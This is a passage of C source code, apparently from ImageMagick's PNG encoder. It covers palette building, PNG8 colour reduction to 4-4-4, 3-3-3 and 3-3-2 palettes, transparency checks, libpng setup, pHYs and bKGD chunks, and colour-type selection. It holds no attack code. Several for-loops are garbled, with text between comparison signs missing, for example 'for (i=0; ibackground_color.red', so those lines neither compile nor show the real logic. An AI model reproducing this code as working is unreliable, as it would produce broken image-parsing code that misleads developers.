(int) image->colormap[i].green,\n (int) image->colormap[i].blue,\n (int) image->colormap[i].alpha);\n }\n }\n }\n\n (void) LogMagickEvent(CoderEvent,GetMagickModule(),\n \" image->colors=%d\",(int) image->colors);\n\n if (image->colors == 0)\n (void) LogMagickEvent(CoderEvent,GetMagickModule(),\n \" (zero means unknown)\");\n\n if (ping_preserve_colormap == MagickFalse)\n (void) LogMagickEvent(CoderEvent,GetMagickModule(),\n \" Regenerate the colormap\");\n }\n\n image_colors=0;\n number_opaque = 0;\n number_semitransparent = 0;\n number_transparent = 0;\n\n for (y=0; y < (ssize_t) image->rows; y++)\n {\n q=GetAuthenticPixels(image,0,y,image->columns,1,exception);\n\n if (q == (Quantum *) NULL)\n break;\n\n for (x=0; x < (ssize_t) image->columns; x++)\n {\n if (image->alpha_trait == UndefinedPixelTrait ||\n GetPixelAlpha(image,q) == OpaqueAlpha)\n {\n if (number_opaque < 259)\n {\n if (number_opaque == 0)\n {\n GetPixelInfoPixel(image, q, opaque);\n opaque[0].alpha=OpaqueAlpha;\n number_opaque=1;\n }\n\n for (i=0; i< (ssize_t) number_opaque; i++)\n {\n if (Magick_png_color_equal(image,q,opaque+i))\n break;\n }\n\n if (i == (ssize_t) number_opaque && number_opaque < 259)\n {\n number_opaque++;\n GetPixelInfoPixel(image, q, opaque+i);\n opaque[i].alpha=OpaqueAlpha;\n }\n }\n }\n else if (GetPixelAlpha(image,q) == TransparentAlpha)\n {\n if (number_transparent < 259)\n {\n if (number_transparent == 0)\n {\n GetPixelInfoPixel(image, q, transparent);\n ping_trans_color.red=(unsigned short)\n GetPixelRed(image,q);\n ping_trans_color.green=(unsigned short)\n GetPixelGreen(image,q);\n ping_trans_color.blue=(unsigned short)\n GetPixelBlue(image,q);\n ping_trans_color.gray=(unsigned short)\n GetPixelGray(image,q);\n number_transparent = 1;\n }\n\n for (i=0; i< (ssize_t) number_transparent; i++)\n {\n if (Magick_png_color_equal(image,q,transparent+i))\n break;\n }\n\n if (i == (ssize_t) number_transparent &&\n number_transparent < 259)\n {\n number_transparent++;\n GetPixelInfoPixel(image,q,transparent+i);\n }\n }\n }\n else\n {\n if (number_semitransparent < 259)\n {\n if (number_semitransparent == 0)\n {\n GetPixelInfoPixel(image,q,semitransparent);\n number_semitransparent = 1;\n }\n\n for (i=0; i< (ssize_t) number_semitransparent; i++)\n {\n if (Magick_png_color_equal(image,q,semitransparent+i)\n && GetPixelAlpha(image,q) ==\n semitransparent[i].alpha)\n break;\n }\n\n if (i == (ssize_t) number_semitransparent &&\n number_semitransparent < 259)\n {\n number_semitransparent++;\n GetPixelInfoPixel(image, q, semitransparent+i);\n }\n }\n }\n q+=GetPixelChannels(image);\n }\n }\n\n if (mng_info->write_png8 == MagickFalse &&\n ping_exclude_bKGD == MagickFalse)\n {\n /* Add the background color to the palette, if it\n * isn't already there.\n */\n if (logging != MagickFalse)\n {\n (void) LogMagickEvent(CoderEvent,GetMagickModule(),\n \" Check colormap for background (%d,%d,%d)\",\n (int) image->background_color.red,\n (int) image->background_color.green,\n (int) image->background_color.blue);\n }\n for (i=0; ibackground_color.red &&\n opaque[i].green == image->background_color.green &&\n opaque[i].blue == image->background_color.blue)\n break;\n }\n if (number_opaque < 259 && i == number_opaque)\n {\n opaque[i] = image->background_color;\n ping_background.index = i;\n number_opaque++;\n if (logging != MagickFalse)\n {\n (void) LogMagickEvent(CoderEvent,GetMagickModule(),\n \" background_color index is %d\",(int) i);\n }\n\n }\n else if (logging != MagickFalse)\n (void) LogMagickEvent(CoderEvent,GetMagickModule(),\n \" No room in the colormap to add background color\");\n }\n\n image_colors=number_opaque+number_transparent+number_semitransparent;\n\n if (logging != MagickFalse)\n {\n if (image_colors > 256)\n (void) LogMagickEvent(CoderEvent,GetMagickModule(),\n \" image has more than 256 colors\");\n\n else\n (void) LogMagickEvent(CoderEvent,GetMagickModule(),\n \" image has %d colors\",image_colors);\n }\n\n if (ping_preserve_colormap != MagickFalse)\n break;\n\n if (mng_info->write_png_colortype != 7) /* We won't need this info */\n {\n ping_have_color=MagickFalse;\n ping_have_non_bw=MagickFalse;\n\n if (IssRGBCompatibleColorspace(image->colorspace) == MagickFalse)\n {\n (void) LogMagickEvent(CoderEvent,GetMagickModule(),\n \"incompatible colorspace\");\n ping_have_color=MagickTrue;\n ping_have_non_bw=MagickTrue;\n }\n\n if(image_colors > 256)\n {\n for (y=0; y < (ssize_t) image->rows; y++)\n {\n q=GetAuthenticPixels(image,0,y,image->columns,1,exception);\n\n if (q == (Quantum *) NULL)\n break;\n\n s=q;\n for (x=0; x < (ssize_t) image->columns; x++)\n {\n if (GetPixelRed(image,s) != GetPixelGreen(image,s) ||\n GetPixelRed(image,s) != GetPixelBlue(image,s))\n {\n ping_have_color=MagickTrue;\n ping_have_non_bw=MagickTrue;\n break;\n }\n s+=GetPixelChannels(image);\n }\n\n if (ping_have_color != MagickFalse)\n break;\n\n /* Worst case is black-and-white; we are looking at every\n * pixel twice.\n */\n\n if (ping_have_non_bw == MagickFalse)\n {\n s=q;\n for (x=0; x < (ssize_t) image->columns; x++)\n {\n if (GetPixelRed(image,s) != 0 &&\n GetPixelRed(image,s) != QuantumRange)\n {\n ping_have_non_bw=MagickTrue;\n break;\n }\n s+=GetPixelChannels(image);\n }\n }\n }\n }\n }\n\n if (image_colors < 257)\n {\n PixelInfo\n colormap[260];\n\n /*\n * Initialize image colormap.\n */\n\n if (logging != MagickFalse)\n (void) LogMagickEvent(CoderEvent,GetMagickModule(),\n \" Sort the new colormap\");\n\n /* Sort palette, transparent first */;\n\n n = 0;\n\n for (i=0; iping_exclude_tRNS == MagickFalse ||\n (number_transparent == 0 && number_semitransparent == 0)) &&\n (((mng_info->write_png_colortype-1) ==\n PNG_COLOR_TYPE_PALETTE) ||\n (mng_info->write_png_colortype == 0)))\n {\n if (logging != MagickFalse)\n {\n if (n != (ssize_t) image_colors)\n (void) LogMagickEvent(CoderEvent,GetMagickModule(),\n \" image_colors (%d) and n (%d) don't match\",\n image_colors, n);\n\n (void) LogMagickEvent(CoderEvent,GetMagickModule(),\n \" AcquireImageColormap\");\n }\n\n image->colors = image_colors;\n\n if (AcquireImageColormap(image,image_colors,exception) ==\n MagickFalse)\n ThrowWriterException(ResourceLimitError,\n \"MemoryAllocationFailed\");\n\n for (i=0; i< (ssize_t) image_colors; i++)\n image->colormap[i] = colormap[i];\n\n if (logging != MagickFalse)\n {\n (void) LogMagickEvent(CoderEvent,GetMagickModule(),\n \" image->colors=%d (%d)\",\n (int) image->colors, image_colors);\n\n (void) LogMagickEvent(CoderEvent,GetMagickModule(),\n \" Update the pixel indexes\");\n }\n\n /* Sync the pixel indices with the new colormap */\n\n for (y=0; y < (ssize_t) image->rows; y++)\n {\n q=GetAuthenticPixels(image,0,y,image->columns,1,exception);\n\n if (q == (Quantum *) NULL)\n break;\n\n for (x=0; x < (ssize_t) image->columns; x++)\n {\n for (i=0; i< (ssize_t) image_colors; i++)\n {\n if ((image->alpha_trait == UndefinedPixelTrait ||\n image->colormap[i].alpha == GetPixelAlpha(image,q)) &&\n image->colormap[i].red == GetPixelRed(image,q) &&\n image->colormap[i].green == GetPixelGreen(image,q) &&\n image->colormap[i].blue == GetPixelBlue(image,q))\n {\n SetPixelIndex(image,i,q);\n break;\n }\n }\n q+=GetPixelChannels(image);\n }\n\n if (SyncAuthenticPixels(image,exception) == MagickFalse)\n break;\n }\n }\n }\n\n if (logging != MagickFalse)\n {\n (void) LogMagickEvent(CoderEvent,GetMagickModule(),\n \" image->colors=%d\", (int) image->colors);\n\n if (image->colormap != NULL)\n {\n (void) LogMagickEvent(CoderEvent,GetMagickModule(),\n \" i (red,green,blue,alpha)\");\n\n for (i=0; i < (ssize_t) image->colors; i++)\n {\n if (i < 300 || i >= (ssize_t) image->colors - 10)\n {\n (void) LogMagickEvent(CoderEvent,GetMagickModule(),\n \" %d (%d,%d,%d,%d)\",\n (int) i,\n (int) image->colormap[i].red,\n (int) image->colormap[i].green,\n (int) image->colormap[i].blue,\n (int) image->colormap[i].alpha);\n }\n }\n }\n\n if (number_transparent < 257)\n (void) LogMagickEvent(CoderEvent,GetMagickModule(),\n \" number_transparent = %d\",\n number_transparent);\n else\n\n (void) LogMagickEvent(CoderEvent,GetMagickModule(),\n \" number_transparent > 256\");\n\n if (number_opaque < 257)\n (void) LogMagickEvent(CoderEvent,GetMagickModule(),\n \" number_opaque = %d\",\n number_opaque);\n\n else\n (void) LogMagickEvent(CoderEvent,GetMagickModule(),\n \" number_opaque > 256\");\n\n if (number_semitransparent < 257)\n (void) LogMagickEvent(CoderEvent,GetMagickModule(),\n \" number_semitransparent = %d\",\n number_semitransparent);\n\n else\n (void) LogMagickEvent(CoderEvent,GetMagickModule(),\n \" number_semitransparent > 256\");\n\n if (ping_have_non_bw == MagickFalse)\n (void) LogMagickEvent(CoderEvent,GetMagickModule(),\n \" All pixels and the background are black or white\");\n\n else if (ping_have_color == MagickFalse)\n (void) LogMagickEvent(CoderEvent,GetMagickModule(),\n \" All pixels and the background are gray\");\n\n else\n (void) LogMagickEvent(CoderEvent,GetMagickModule(),\n \" At least one pixel or the background is non-gray\");\n\n (void) LogMagickEvent(CoderEvent,GetMagickModule(),\n \" Exit BUILD_PALETTE:\");\n }\n\n if (mng_info->write_png8 == MagickFalse)\n break;\n\n /* Make any reductions necessary for the PNG8 format */\n if (image_colors <= 256 &&\n image_colors != 0 && image->colormap != NULL &&\n number_semitransparent == 0 &&\n number_transparent <= 1)\n break;\n\n /* PNG8 can't have semitransparent colors so we threshold the\n * opacity to 0 or OpaqueOpacity, and PNG8 can only have one\n * transparent color so if more than one is transparent we merge\n * them into image->background_color.\n */\n if (number_semitransparent != 0 || number_transparent > 1)\n {\n (void) LogMagickEvent(CoderEvent,GetMagickModule(),\n \" Thresholding the alpha channel to binary\");\n\n for (y=0; y < (ssize_t) image->rows; y++)\n {\n r=GetAuthenticPixels(image,0,y,image->columns,1,exception);\n\n if (r == (Quantum *) NULL)\n break;\n\n for (x=0; x < (ssize_t) image->columns; x++)\n {\n if (GetPixelAlpha(image,r) < OpaqueAlpha/2)\n {\n SetPixelViaPixelInfo(image,&image->background_color,r);\n SetPixelAlpha(image,TransparentAlpha,r);\n }\n else\n SetPixelAlpha(image,OpaqueAlpha,r);\n r+=GetPixelChannels(image);\n }\n\n if (SyncAuthenticPixels(image,exception) == MagickFalse)\n break;\n\n if (image_colors != 0 && image_colors <= 256 &&\n image->colormap != NULL)\n for (i=0; icolormap[i].alpha =\n (image->colormap[i].alpha > TransparentAlpha/2 ?\n TransparentAlpha : OpaqueAlpha);\n }\n continue;\n }\n\n /* PNG8 can't have more than 256 colors so we quantize the pixels and\n * background color to the 4-4-4-1, 3-3-3-1 or 3-3-2-1 palette. If the\n * image is mostly gray, the 4-4-4-1 palette is likely to end up with 256\n * colors or less.\n */\n if (tried_444 == MagickFalse && (image_colors == 0 || image_colors > 256))\n {\n if (logging != MagickFalse)\n (void) LogMagickEvent(CoderEvent,GetMagickModule(),\n \" Quantizing the background color to 4-4-4\");\n\n tried_444 = MagickTrue;\n\n LBR04PacketRGB(image->background_color);\n\n if (logging != MagickFalse)\n (void) LogMagickEvent(CoderEvent,GetMagickModule(),\n \" Quantizing the pixel colors to 4-4-4\");\n\n if (image->colormap == NULL)\n {\n for (y=0; y < (ssize_t) image->rows; y++)\n {\n r=GetAuthenticPixels(image,0,y,image->columns,1,exception);\n\n if (r == (Quantum *) NULL)\n break;\n\n for (x=0; x < (ssize_t) image->columns; x++)\n {\n if (GetPixelAlpha(image,r) == OpaqueAlpha)\n LBR04PixelRGB(r);\n r+=GetPixelChannels(image);\n }\n\n if (SyncAuthenticPixels(image,exception) == MagickFalse)\n break;\n }\n }\n\n else /* Should not reach this; colormap already exists and\n must be <= 256 */\n {\n if (logging != MagickFalse)\n (void) LogMagickEvent(CoderEvent,GetMagickModule(),\n \" Quantizing the colormap to 4-4-4\");\n\n for (i=0; icolormap[i]);\n }\n }\n continue;\n }\n\n if (tried_333 == MagickFalse && (image_colors == 0 || image_colors > 256))\n {\n if (logging != MagickFalse)\n (void) LogMagickEvent(CoderEvent,GetMagickModule(),\n \" Quantizing the background color to 3-3-3\");\n\n tried_333 = MagickTrue;\n\n LBR03PacketRGB(image->background_color);\n\n if (logging != MagickFalse)\n (void) LogMagickEvent(CoderEvent,GetMagickModule(),\n \" Quantizing the pixel colors to 3-3-3-1\");\n\n if (image->colormap == NULL)\n {\n for (y=0; y < (ssize_t) image->rows; y++)\n {\n r=GetAuthenticPixels(image,0,y,image->columns,1,exception);\n\n if (r == (Quantum *) NULL)\n break;\n\n for (x=0; x < (ssize_t) image->columns; x++)\n {\n if (GetPixelAlpha(image,r) == OpaqueAlpha)\n LBR03RGB(r);\n r+=GetPixelChannels(image);\n }\n\n if (SyncAuthenticPixels(image,exception) == MagickFalse)\n break;\n }\n }\n\n else /* Should not reach this; colormap already exists and\n must be <= 256 */\n {\n if (logging != MagickFalse)\n (void) LogMagickEvent(CoderEvent,GetMagickModule(),\n \" Quantizing the colormap to 3-3-3-1\");\n for (i=0; icolormap[i]);\n }\n }\n continue;\n }\n\n if (tried_332 == MagickFalse && (image_colors == 0 || image_colors > 256))\n {\n if (logging != MagickFalse)\n (void) LogMagickEvent(CoderEvent,GetMagickModule(),\n \" Quantizing the background color to 3-3-2\");\n\n tried_332 = MagickTrue;\n\n /* Red and green were already done so we only quantize the blue\n * channel\n */\n\n LBR02PacketBlue(image->background_color);\n\n if (logging != MagickFalse)\n (void) LogMagickEvent(CoderEvent,GetMagickModule(),\n \" Quantizing the pixel colors to 3-3-2-1\");\n\n if (image->colormap == NULL)\n {\n for (y=0; y < (ssize_t) image->rows; y++)\n {\n r=GetAuthenticPixels(image,0,y,image->columns,1,exception);\n\n if (r == (Quantum *) NULL)\n break;\n\n for (x=0; x < (ssize_t) image->columns; x++)\n {\n if (GetPixelAlpha(image,r) == OpaqueAlpha)\n LBR02PixelBlue(r);\n r+=GetPixelChannels(image);\n }\n\n if (SyncAuthenticPixels(image,exception) == MagickFalse)\n break;\n }\n }\n\n else /* Should not reach this; colormap already exists and\n must be <= 256 */\n {\n if (logging != MagickFalse)\n (void) LogMagickEvent(CoderEvent,GetMagickModule(),\n \" Quantizing the colormap to 3-3-2-1\");\n for (i=0; icolormap[i]);\n }\n }\n continue;\n }\n\n if (image_colors == 0 || image_colors > 256)\n {\n /* Take care of special case with 256 opaque colors + 1 transparent\n * color. We don't need to quantize to 2-3-2-1; we only need to\n * eliminate one color, so we'll merge the two darkest red\n * colors (0x49, 0, 0) -> (0x24, 0, 0).\n */\n if (logging != MagickFalse)\n (void) LogMagickEvent(CoderEvent,GetMagickModule(),\n \" Merging two dark red background colors to 3-3-2-1\");\n\n if (ScaleQuantumToChar(image->background_color.red) == 0x49 &&\n ScaleQuantumToChar(image->background_color.green) == 0x00 &&\n ScaleQuantumToChar(image->background_color.blue) == 0x00)\n {\n image->background_color.red=ScaleCharToQuantum(0x24);\n }\n\n if (logging != MagickFalse)\n (void) LogMagickEvent(CoderEvent,GetMagickModule(),\n \" Merging two dark red pixel colors to 3-3-2-1\");\n\n if (image->colormap == NULL)\n {\n for (y=0; y < (ssize_t) image->rows; y++)\n {\n r=GetAuthenticPixels(image,0,y,image->columns,1,exception);\n\n if (r == (Quantum *) NULL)\n break;\n\n for (x=0; x < (ssize_t) image->columns; x++)\n {\n if (ScaleQuantumToChar(GetPixelRed(image,r)) == 0x49 &&\n ScaleQuantumToChar(GetPixelGreen(image,r)) == 0x00 &&\n ScaleQuantumToChar(GetPixelBlue(image,r)) == 0x00 &&\n GetPixelAlpha(image,r) == OpaqueAlpha)\n {\n SetPixelRed(image,ScaleCharToQuantum(0x24),r);\n }\n r+=GetPixelChannels(image);\n }\n\n if (SyncAuthenticPixels(image,exception) == MagickFalse)\n break;\n\n }\n }\n\n else\n {\n for (i=0; icolormap[i].red) == 0x49 &&\n ScaleQuantumToChar(image->colormap[i].green) == 0x00 &&\n ScaleQuantumToChar(image->colormap[i].blue) == 0x00)\n {\n image->colormap[i].red=ScaleCharToQuantum(0x24);\n }\n }\n }\n }\n }\n }\n /* END OF BUILD_PALETTE */\n\n /* If we are excluding the tRNS chunk and there is transparency,\n * then we must write a Gray-Alpha (color-type 4) or RGBA (color-type 6)\n * PNG.\n */\n if (mng_info->ping_exclude_tRNS != MagickFalse &&\n (number_transparent != 0 || number_semitransparent != 0))\n {\n unsigned int colortype=mng_info->write_png_colortype;\n\n if (ping_have_color == MagickFalse)\n mng_info->write_png_colortype = 5;\n\n else\n mng_info->write_png_colortype = 7;\n\n if (colortype != 0 &&\n mng_info->write_png_colortype != colortype)\n ping_need_colortype_warning=MagickTrue;\n\n }\n\n /* See if cheap transparency is possible. It is only possible\n * when there is a single transparent color, no semitransparent\n * color, and no opaque color that has the same RGB components\n * as the transparent color. We only need this information if\n * we are writing a PNG with colortype 0 or 2, and we have not\n * excluded the tRNS chunk.\n */\n if (number_transparent == 1 &&\n mng_info->write_png_colortype < 4)\n {\n ping_have_cheap_transparency = MagickTrue;\n\n if (number_semitransparent != 0)\n ping_have_cheap_transparency = MagickFalse;\n\n else if (image_colors == 0 || image_colors > 256 ||\n image->colormap == NULL)\n {\n register const Quantum\n *q;\n\n for (y=0; y < (ssize_t) image->rows; y++)\n {\n q=GetVirtualPixels(image,0,y,image->columns,1, exception);\n\n if (q == (Quantum *) NULL)\n break;\n\n for (x=0; x < (ssize_t) image->columns; x++)\n {\n if (GetPixelAlpha(image,q) != TransparentAlpha &&\n (unsigned short) GetPixelRed(image,q) ==\n ping_trans_color.red &&\n (unsigned short) GetPixelGreen(image,q) ==\n ping_trans_color.green &&\n (unsigned short) GetPixelBlue(image,q) ==\n ping_trans_color.blue)\n {\n ping_have_cheap_transparency = MagickFalse;\n break;\n }\n\n q+=GetPixelChannels(image);\n }\n\n if (ping_have_cheap_transparency == MagickFalse)\n break;\n }\n }\n else\n {\n /* Assuming that image->colormap[0] is the one transparent color\n * and that all others are opaque.\n */\n if (image_colors > 1)\n for (i=1; icolormap[i].red == image->colormap[0].red &&\n image->colormap[i].green == image->colormap[0].green &&\n image->colormap[i].blue == image->colormap[0].blue)\n {\n ping_have_cheap_transparency = MagickFalse;\n break;\n }\n }\n\n if (logging != MagickFalse)\n {\n if (ping_have_cheap_transparency == MagickFalse)\n (void) LogMagickEvent(CoderEvent,GetMagickModule(),\n \" Cheap transparency is not possible.\");\n\n else\n (void) LogMagickEvent(CoderEvent,GetMagickModule(),\n \" Cheap transparency is possible.\");\n }\n }\n else\n ping_have_cheap_transparency = MagickFalse;\n\n image_depth=image->depth;\n\n quantum_info = (QuantumInfo *) NULL;\n number_colors=0;\n image_colors=(int) image->colors;\n image_matte=image->alpha_trait !=\n UndefinedPixelTrait ? MagickTrue : MagickFalse;\n\n if (mng_info->write_png_colortype < 5)\n mng_info->IsPalette=image->storage_class == PseudoClass &&\n image_colors <= 256 && image->colormap != NULL;\n else\n mng_info->IsPalette = MagickFalse;\n\n if ((mng_info->write_png_colortype == 4 || mng_info->write_png8) &&\n (image->colors == 0 || image->colormap == NULL))\n {\n image_info=DestroyImageInfo(image_info);\n image=DestroyImage(image);\n (void) ThrowMagickException(exception,GetMagickModule(),CoderError,\n \"Cannot write PNG8 or color-type 3; colormap is NULL\",\n \"`%s'\",IMimage->filename);\n return(MagickFalse);\n }\n\n /*\n Allocate the PNG structures\n */\n#ifdef PNG_USER_MEM_SUPPORTED\n error_info.image=image;\n error_info.exception=exception;\n ping=png_create_write_struct_2(PNG_LIBPNG_VER_STRING,&error_info,\n MagickPNGErrorHandler,MagickPNGWarningHandler,(void *) NULL,\n (png_malloc_ptr) Magick_png_malloc,(png_free_ptr) Magick_png_free);\n\n#else\n ping=png_create_write_struct(PNG_LIBPNG_VER_STRING,&error_info,\n MagickPNGErrorHandler,MagickPNGWarningHandler);\n\n#endif\n if (ping == (png_struct *) NULL)\n ThrowWriterException(ResourceLimitError,\"MemoryAllocationFailed\");\n\n ping_info=png_create_info_struct(ping);\n\n if (ping_info == (png_info *) NULL)\n {\n png_destroy_write_struct(&ping,(png_info **) NULL);\n ThrowWriterException(ResourceLimitError,\"MemoryAllocationFailed\");\n }\n\n png_set_write_fn(ping,image,png_put_data,png_flush_data);\n pixel_info=(MemoryInfo *) NULL;\n\n if (setjmp(png_jmpbuf(ping)))\n {\n /*\n PNG write failed.\n */\n#ifdef PNG_DEBUG\n if (image_info->verbose)\n (void) printf(\"PNG write has failed.\\n\");\n#endif\n png_destroy_write_struct(&ping,&ping_info);\n#ifdef IMPNG_SETJMP_NOT_THREAD_SAFE\n UnlockSemaphoreInfo(ping_semaphore);\n#endif\n\n if (pixel_info != (MemoryInfo *) NULL)\n pixel_info=RelinquishVirtualMemory(pixel_info);\n\n if (quantum_info != (QuantumInfo *) NULL)\n quantum_info=DestroyQuantumInfo(quantum_info);\n\n if (ping_have_blob != MagickFalse)\n (void) CloseBlob(image);\n image_info=DestroyImageInfo(image_info);\n image=DestroyImage(image);\n return(MagickFalse);\n }\n\n /* { For navigation to end of SETJMP-protected block. Within this\n * block, use png_error() instead of Throwing an Exception, to ensure\n * that libpng is able to clean up, and that the semaphore is unlocked.\n */\n\n#ifdef IMPNG_SETJMP_NOT_THREAD_SAFE\n LockSemaphoreInfo(ping_semaphore);\n#endif\n\n#ifdef PNG_BENIGN_ERRORS_SUPPORTED\n /* Allow benign errors */\n png_set_benign_errors(ping, 1);\n#endif\n\n#ifdef PNG_SET_USER_LIMITS_SUPPORTED\n /* Reject images with too many rows or columns */\n png_set_user_limits(ping,\n (png_uint_32) MagickMin(0x7fffffffL,\n GetMagickResourceLimit(WidthResource)),\n (png_uint_32) MagickMin(0x7fffffffL,\n GetMagickResourceLimit(HeightResource)));\n#endif /* PNG_SET_USER_LIMITS_SUPPORTED */\n\n /*\n Prepare PNG for writing.\n */\n\n#if defined(PNG_MNG_FEATURES_SUPPORTED)\n if (mng_info->write_mng)\n {\n (void) png_permit_mng_features(ping,PNG_ALL_MNG_FEATURES);\n# ifdef PNG_WRITE_CHECK_FOR_INVALID_INDEX_SUPPORTED\n /* Disable new libpng-1.5.10 feature when writing a MNG because\n * zero-length PLTE is OK\n */\n png_set_check_for_invalid_index (ping, 0);\n# endif\n }\n\n#else\n# ifdef PNG_WRITE_EMPTY_PLTE_SUPPORTED\n if (mng_info->write_mng)\n png_permit_empty_plte(ping,MagickTrue);\n\n# endif\n#endif\n\n x=0;\n\n ping_width=(png_uint_32) image->columns;\n ping_height=(png_uint_32) image->rows;\n\n if (mng_info->write_png8 || mng_info->write_png24 || mng_info->write_png32)\n image_depth=8;\n\n if (mng_info->write_png48 || mng_info->write_png64)\n image_depth=16;\n\n if (mng_info->write_png_depth != 0)\n image_depth=mng_info->write_png_depth;\n\n /* Adjust requested depth to next higher valid depth if necessary */\n if (image_depth > 8)\n image_depth=16;\n\n if ((image_depth > 4) && (image_depth < 8))\n image_depth=8;\n\n if (image_depth == 3)\n image_depth=4;\n\n if (logging != MagickFalse)\n {\n (void) LogMagickEvent(CoderEvent,GetMagickModule(),\n \" width=%.20g\",(double) ping_width);\n (void) LogMagickEvent(CoderEvent,GetMagickModule(),\n \" height=%.20g\",(double) ping_height);\n (void) LogMagickEvent(CoderEvent,GetMagickModule(),\n \" image_matte=%.20g\",(double) image->alpha_trait);\n (void) LogMagickEvent(CoderEvent,GetMagickModule(),\n \" image->depth=%.20g\",(double) image->depth);\n (void) LogMagickEvent(CoderEvent,GetMagickModule(),\n \" Tentative ping_bit_depth=%.20g\",(double) image_depth);\n }\n\n save_image_depth=image_depth;\n ping_bit_depth=(png_byte) save_image_depth;\n\n\n#if defined(PNG_pHYs_SUPPORTED)\n if (ping_exclude_pHYs == MagickFalse)\n {\n if ((image->resolution.x != 0) && (image->resolution.y != 0) &&\n (!mng_info->write_mng || !mng_info->equal_physs))\n {\n if (logging != MagickFalse)\n (void) LogMagickEvent(CoderEvent,GetMagickModule(),\n \" Setting up pHYs chunk\");\n\n if (image->units == PixelsPerInchResolution)\n {\n ping_pHYs_unit_type=PNG_RESOLUTION_METER;\n ping_pHYs_x_resolution=\n (png_uint_32) ((100.0*image->resolution.x+0.5)/2.54);\n ping_pHYs_y_resolution=\n (png_uint_32) ((100.0*image->resolution.y+0.5)/2.54);\n }\n\n else if (image->units == PixelsPerCentimeterResolution)\n {\n ping_pHYs_unit_type=PNG_RESOLUTION_METER;\n ping_pHYs_x_resolution=(png_uint_32) (100.0*image->resolution.x+0.5);\n ping_pHYs_y_resolution=(png_uint_32) (100.0*image->resolution.y+0.5);\n }\n\n else\n {\n ping_pHYs_unit_type=PNG_RESOLUTION_UNKNOWN;\n ping_pHYs_x_resolution=(png_uint_32) image->resolution.x;\n ping_pHYs_y_resolution=(png_uint_32) image->resolution.y;\n }\n\n if (logging != MagickFalse)\n (void) LogMagickEvent(CoderEvent,GetMagickModule(),\n \" Set up PNG pHYs chunk: xres: %.20g, yres: %.20g, units: %d.\",\n (double) ping_pHYs_x_resolution,(double) ping_pHYs_y_resolution,\n (int) ping_pHYs_unit_type);\n ping_have_pHYs = MagickTrue;\n }\n }\n#endif\n\n if (ping_exclude_bKGD == MagickFalse)\n {\n if ((!mng_info->adjoin || !mng_info->equal_backgrounds))\n {\n unsigned int\n mask;\n\n mask=0xffff;\n if (ping_bit_depth == 8)\n mask=0x00ff;\n\n if (ping_bit_depth == 4)\n mask=0x000f;\n\n if (ping_bit_depth == 2)\n mask=0x0003;\n\n if (ping_bit_depth == 1)\n mask=0x0001;\n\n ping_background.red=(png_uint_16)\n (ScaleQuantumToShort(image->background_color.red) & mask);\n\n ping_background.green=(png_uint_16)\n (ScaleQuantumToShort(image->background_color.green) & mask);\n\n ping_background.blue=(png_uint_16)\n (ScaleQuantumToShort(image->background_color.blue) & mask);\n\n ping_background.gray=(png_uint_16) ping_background.green;\n }\n\n if (logging != MagickFalse)\n {\n (void) LogMagickEvent(CoderEvent,GetMagickModule(),\n \" Setting up bKGD chunk (1)\");\n (void) LogMagickEvent(CoderEvent,GetMagickModule(),\n \" background_color index is %d\",\n (int) ping_background.index);\n\n (void) LogMagickEvent(CoderEvent,GetMagickModule(),\n \" ping_bit_depth=%d\",ping_bit_depth);\n }\n\n ping_have_bKGD = MagickTrue;\n }\n\n /*\n Select the color type.\n */\n matte=image_matte;\n old_bit_depth=0;\n\n if (mng_info->IsPalette && mng_info->write_png8)\n {\n /* To do: make this a function cause it's used twice, except\n for reducing the sample depth from 8. */\n\n number_colors=image_colors;\n\n ping_have_tRNS=MagickFalse;\n\n /*\n Set image palette.\n */\n ping_color_type=(png_byte) PNG_COLOR_TYPE_PALETTE;\n\n if (logging != MagickFalse)\n (void) LogMagickEvent(CoderEvent,GetMagickModule(),\n \" Setting up PLTE chunk with %d colors (%d)\",\n number_colors, image_colors);\n\n for (i=0; i < (ssize_t) number_colors; i++)\n {\n palette[i].red=ScaleQuantumToChar(image->colormap[i].red);\n palette[i].green=ScaleQuantumToChar(image->colormap[i].green);\n palette[i].blue=ScaleQuantumToChar(image->colormap[i].blue);\n if (logging != MagickFalse)\n (void) LogMagickEvent(CoderEvent,GetMagickModule(),\n#if MAGICKCORE_QUANTUM_DEPTH == 8\n \" %3ld (%3d,%3d,%3d)\",\n#else\n \" %5ld (%5d,%5d,%5d)\",\n#endif\n (long) i,palette[i].red,palette[i].green,palette[i].blue);\n\n }\n\n ping_have_PLTE=MagickTrue;\n image_depth=ping_bit_depth;\n ping_num_trans=0;\n\n if (matte != MagickFalse)\n {\n /*\n Identify which colormap entry is transparent.\n */\n assert(number_colors <= 256);\n assert(image->colormap != NULL);\n\n for (i=0; i < (ssize_t) number_transparent; i++)\n ping_trans_alpha[i]=0;\n\n\n ping_num_trans=(unsigned short) (number_transparent +\n number_semitransparent);\n\n if (ping_num_trans == 0)\n ping_have_tRNS=MagickFalse;\n\n else\n ping_have_tRNS=MagickTrue;\n }\n\n if (ping_exclude_bKGD == MagickFalse)\n {\n /*\n * Identify which colormap entry is the background color.\n */\n\n for (i=0; i < (ssize_t) MagickMax(1L*number_colors-1L,1L); i++)\n if (IsPNGColorEqual(ping_background,image->colormap[i]))\n break;\n\n ping_background.index=(png_byte) i;\n\n if (logging != MagickFalse)\n {\n (void) LogMagickEvent(CoderEvent,GetMagickModule(),\n \" background_color index is %d\",\n (int) ping_background.index);\n }\n }\n } /* end of write_png8 */\n\n else if (mng_info->write_png_colortype == 1)\n {\n image_matte=MagickFalse;\n ping_color_type=(png_byte) PNG_COLOR_TYPE_GRAY;\n }\n\n else if (mng_info->write_png24 || mng_info->write_png48 ||\n mng_info->write_png_colortype == 3)\n {\n image_matte=MagickFalse;\n ping_color_type=(png_byte) PNG_COLOR_TYPE_RGB;\n }\n\n else if (mng_info->write_png32 || mng_info->write_png64 ||\n mng_info->write_png_colortype == 7)\n {\n image_matte=MagickTrue;\n ping_color_type=(png_byte) PNG_COLOR_TYPE_RGB_ALPHA;\n }\n\n else /* mng_info->write_pngNN not specified */\n {\n image_depth=ping_bit_depth;\n\n if (mng_info->write_png_colortype != 0)\n {\n ping_color_type=(png_byte) mng_info->write_png_colortype-1;\n\n if (ping_color_type == PNG_COLOR_TYPE_GRAY_ALPHA ||\n ping_color_type == PNG_COLOR_TYPE_RGB_ALPHA)\n image_matte=MagickTrue;\n\n else\n image_matte=MagickFalse;\n\n if (logging != MagickFalse)\n (void) LogMagickEvent(CoderEvent,GetMagickModule(),\n \" PNG colortype %d was specified:\",(int) ping_color_type);\n }\n\n else /* write_png_colortype not specified */\n {\n if (logging != MagickFalse)\n (void) 